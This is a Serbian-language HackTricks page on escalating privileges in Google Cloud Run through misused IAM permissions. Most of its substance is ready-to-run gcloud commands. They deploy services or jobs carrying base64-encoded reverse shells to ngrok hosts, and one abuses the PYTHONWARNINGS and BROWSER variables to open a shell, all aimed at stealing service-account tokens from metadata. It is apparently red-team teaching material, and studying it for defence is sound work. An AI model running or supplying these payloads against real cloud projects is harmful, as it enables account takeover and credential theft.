GCP - Run Privesc
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Cloud Run
Za više informacija o Cloud Run proverite:
run.services.create
, iam.serviceAccounts.actAs
, run.routes.invoke
Napadač sa ovim dozvolama može da kreira run servis koji pokreće proizvoljan kod (proizvoljan Docker kontejner), da mu pridruži Service Account i da učini da kod izvadi token Service Account-a iz metapodataka.
Eksploatacioni skript za ovu metodu može se naći ovde a Docker slika može se naći ovde.
Napomena: kada koristite gcloud run deploy
umesto samo kreiranja servisa potrebna je dozvola update
. Proverite primer ovde.
run.services.update
, iam.serviceAccounts.actAs
Kao prethodni, ali ažurira servis:
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==
gcloud run deploy hacked \
--image=ubuntu:22.04 \ # Make sure to use an ubuntu version that includes python3
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated
# If you don't have permissions to use "--allow-unauthenticated", dont use it
run.services.setIamPolicy
Dajte sebi prethodne dozvole za cloud Run.
run.jobs.create
, run.jobs.run
, iam.serviceaccounts.actAs
,(run.jobs.get
)
Pokrenite posao sa reverznim shell-om da biste ukrali servisni nalog naznačen u komandi. Možete pronaći eksploit ovde.
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1
run.jobs.update
,run.jobs.run
,iam.serviceaccounts.actAs
,(run.jobs.get
)
Slično prethodnom, moguće je ažurirati posao i ažurirati SA, komandu i izvršiti je:
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now
run.jobs.setIamPolicy
Dajte sebi prethodne dozvole za Cloud Jobs.
run.jobs.run
, run.jobs.runWithOverrides
, (run.jobs.get
)
Iskoristite env varijable izvršenja posla da izvršite proizvoljan kod i dobijete reverznu ljusku za iskopavanje sadržaja kontejnera (izvorni kod) i pristupite SA unutar metapodataka:
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.